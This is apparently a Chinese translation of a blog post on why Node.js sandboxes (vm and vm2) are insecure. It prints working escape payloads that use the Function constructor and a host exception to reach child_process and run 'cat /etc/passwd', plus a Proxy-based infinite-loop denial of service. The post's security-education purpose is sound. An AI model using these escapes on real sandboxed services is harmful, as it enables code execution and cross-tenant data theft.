原文地址:https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

背景

我今年为Nullcon HackIM CTF撰写BabyJS的挑战,其想法不是使用如sqli、lfi、rce等常见漏洞类,而是选择一些新颖、有趣的东西。过去在CTF中,有很多关于pathon-jail/python-sandbox的挑战,所以我们想为什么不尝试NodeJs沙箱呢?
就在CTP之后,我想更多的了解当前提供沙箱的NPM包,以及它们受到什么旁路影响。在此篇博文中,我将解释为什么NodeJS的沙箱是个难题,及不能作为一个独立的安全解决方案。

免责声明

我是个javascript新手,远不如那些发现例如this旁路的人。我只是尽力做出解释,如果你认为有任何地方需要改进、补充的,请联系我。

什么是沙箱

沙箱是一个能够安全执行不受信任的代码,且不影响外部实际代码的独立环境。
搜索Node沙箱,出现的第一个模块是Node VM。让我们看看它都提供了什么。

NodeJS VM 模块

VM模块提供在VM虚拟机上下文中编译运行代码的API。使用VM模块可以在沙箱环境中运行代码。运行的代码使用不同的V8上下文,也就是它的全局变量不同于其他代码。
使用VM模块我们可以在独立的环境中运行不受信任的代码,这就意味着运行在沙箱里的代码不能访问Node进程了,对吗?

示例代码:

  1. "use strict";
  2. const vm = require("vm");
  3. const xyz = vm.runInNewContext(`let a = "welcome!";a;`);
  4. console.log(xyz);

现在我们尝试访问进程

  1. "use strict";
  2. const vm = require("vm");
  3. const xyz = vm.runInNewContext(`process`);
  4. console.log(xyz);

截屏2020-04-06下午12.06.50.png

“process is not defined”,所以默认情况下VM模块不能访问进程,如果想要访问需要指定授权。
恩,看起来默认不能访问“process、require”等就满足需求了,但是真的就没有办法触及主进程并执行代码了?

旁路

  1. "use strict";
  2. const vm = require("vm");
  3. const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
  4. console.log(xyz);

解释
在javascript中this指向它所属的对象,所以我们使用它时就已经指向了一个VM上下文之外的对象。那么访问this的.constructor 就返回 Object Constructor ,访问 Object Constructor.constructor 返回 Function constructor

Function constructor 就像javascript提供的最高函数,他可以访问全局,所以他能返回全局事物。Function constructor允许从字符串生成函数,从而执行任意代码。

所以我们使用 Function constructor 返回主进程。:)

这招同样对突破Angular同样有效 —— AngularJS 沙箱

关于 Function constructor 更多内容在这里这里

现在我们能用它来访问进程和require,然后进行RCE。

代码执行

  1. "use strict";
  2. const vm = require("vm");
  3. const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
  4. process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
  5. console.log(xyz);

截屏2020-04-06下午12.53.42.png

NodeJS VM2 模块

VM2是一款白名单指定Node内置模块运行不受信任代码的沙箱。安全!只提供javascript内置对象和Buffer。默认情况下调度函数(setInterval, setTimeout 和 setImediate)不可用。

VM2工作原理
VM2内部使用VM模块构建安全(上下文)[https://github.com/patriksimek/vm2/blob/master/lib/contextify.js]它使用代理来防止逃逸沙箱。

现在从VM上下文到沙箱的任何东西都可以爬升触达进程。

例如:

  1. "use strict";
  2. const {VM} = require('vm2');
  3. new VM().run('this.constructor.constructor("return process")()');

抛出异常错误,process未被定义。

逃脱
由于VM2对VM上下文的所有内容进行了认证,this关键字不再具有访问constructor属性的权限,所以我们前面的方法不再可用。

对于旁路,我们需要一些沙箱以外的东西,这样就不会限制沙箱上下文,也就能再次访问constructor了。

获胜的例外:
现在在vm里的所有对象都被限制了,我们需要一些来自外部的东西,爬回进程、执行代码。

如果我们在try块中编写错误代码,将导致主进程异常抛错,然后我们通过catch将异常捕获回VM中,然后使用它爬回进程。——或许这就是我们需要去的地方。

  1. const {NodeVM} = require('vm2');
  2. nvm = new NodeVM()
  3. nvm.run(`
  4. try {
  5. this.process.removeListener();
  6. }
  7. catch (host_exception) {
  8. console.log('host exception: ' + host_exception.toString());
  9. host_constructor = host_exception.constructor.constructor;
  10. host_process = host_constructor('return this')().process;
  11. child_process = host_process.mainModule.require("child_process");
  12. console.log(child_process.execSync("cat /etc/passwd").toString());
  13. }`);

在try块中,我们尝试移除当前进程上的监听器 this.process.removeListener() ,这会引起主机异常。由于来自主机的异常在沙箱内传递是与上下文无关的,所以可以爬上树到达 require。

译者注:翻译此文时,执行上面的代码示例,vm2会抛出异常,无法获取require;看来vm2已经修复此漏洞。
截屏2020-04-06下午1.56.41.png

关于VM2还有更多新的和创新性的绕过 ——更多逃逸

除了从沙箱逃逸,还可以使用 infinite while loop 创建无限循环拒绝服务。

  1. const {VM} = require('vm2');
  2. new VM({timeout:1}).run(`
  3. function main(){
  4. while(1){}
  5. }
  6. new Proxy({}, {
  7. getPrototypeOf(t){
  8. global.main();
  9. }
  10. })`
  11. );

感想

运行不信任的代码是很困难的,只依赖软件模块作为沙箱技术,防止不受信任代码用于非正当用途是糟糕的决定。这可能促使云上SAAS应用不安全,因为通过逃逸出沙箱进程多个租户间的数据可能被访问。你可能潜入其他租户session,secret等。一个更安全的选择是依赖于硬件虚拟化,比如每个租户代码在独立的docker容器或AWS Lambada Function 中执行会是更好的选择。

下面是Auth0如何处理沙箱问题:Sandboxing Node.js with CoreOS and Docker